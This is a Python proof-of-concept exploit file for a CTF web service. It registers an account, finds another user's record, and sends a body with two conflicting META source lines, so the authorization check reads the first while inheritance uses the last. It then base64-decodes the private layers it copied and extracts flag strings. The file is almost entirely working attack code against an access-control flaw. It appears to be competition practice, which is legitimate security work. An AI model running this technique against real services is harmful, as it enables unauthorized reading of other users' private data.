96 lines
3.1 KiB
Python
Executable File
96 lines
3.1 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""PoC for the pre-fix braindance private-layer inheritance bug.
|
|
|
|
The vulnerable parser used the first META source for authorization but the
|
|
last META source for inheritance. Supplying different values made a чужой
|
|
record inherit all of its private layers into an attacker-owned record.
|
|
Use only against the authorized CTF instance.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import base64
|
|
import json
|
|
import re
|
|
import secrets
|
|
import sys
|
|
|
|
import requests
|
|
|
|
|
|
FLAG_RE = re.compile(rb"\b[A-Z0-9]{31}=")
|
|
|
|
|
|
def json_response(response: requests.Response):
|
|
try:
|
|
data = response.json()
|
|
except ValueError:
|
|
response.raise_for_status()
|
|
raise RuntimeError(f"non-JSON response ({response.status_code})")
|
|
if not response.ok:
|
|
raise RuntimeError(f"HTTP {response.status_code}: {data}")
|
|
return data
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(description=__doc__)
|
|
parser.add_argument("base_url", help="service URL, e.g. http://10.0.0.5:5000")
|
|
parser.add_argument("--record-id", help="specific source record id")
|
|
args = parser.parse_args()
|
|
|
|
base = args.base_url.rstrip("/")
|
|
session = requests.Session()
|
|
username = f"probe_{secrets.token_hex(5)}"
|
|
account = json_response(session.post(
|
|
f"{base}/register",
|
|
json={"username": username, "bio": "ctf"},
|
|
timeout=10,
|
|
))
|
|
session.headers["Authorization"] = f"Bearer {account['token']}"
|
|
|
|
gallery = json_response(session.get(f"{base}/gallery?limit=200", timeout=10))
|
|
source = args.record_id
|
|
if source is None:
|
|
source = next((r["id"] for r in gallery.get("records", []) if r.get("owner") != username), None)
|
|
if source is None:
|
|
raise RuntimeError("no source record found")
|
|
|
|
# The first META is used for the source authorization check; the last
|
|
# META controls the inherited record. Keeping them different triggers
|
|
# the vulnerable branch in the old parser.
|
|
body = f"BDv1\nMETA source=-\nMETA source={source}\n"
|
|
created = json_response(session.post(
|
|
f"{base}/records",
|
|
data=body,
|
|
headers={"Content-Type": "text/plain"},
|
|
timeout=10,
|
|
))
|
|
rid = created["id"]
|
|
record = json_response(session.get(f"{base}/records/{rid}", timeout=10))
|
|
|
|
hits = []
|
|
for layer, encoded in record.get("layers", {}).items():
|
|
try:
|
|
raw = base64.b64decode(encoded, validate=True)
|
|
except Exception:
|
|
continue
|
|
hits.extend((layer, flag.decode("ascii")) for flag in FLAG_RE.findall(raw))
|
|
|
|
print(json.dumps({"source": source, "created": rid, "layers": sorted(record.get("layers", {}))}, indent=2))
|
|
if hits:
|
|
print("flags:")
|
|
for layer, flag in sorted(set(hits)):
|
|
print(f"{layer}: {flag}")
|
|
else:
|
|
print("no flags matched; target may already contain the patched inheritance check", file=sys.stderr)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
try:
|
|
raise SystemExit(main())
|
|
except (requests.RequestException, KeyError, RuntimeError) as exc:
|
|
print(f"error: {exc}", file=sys.stderr)
|
|
raise SystemExit(1)
|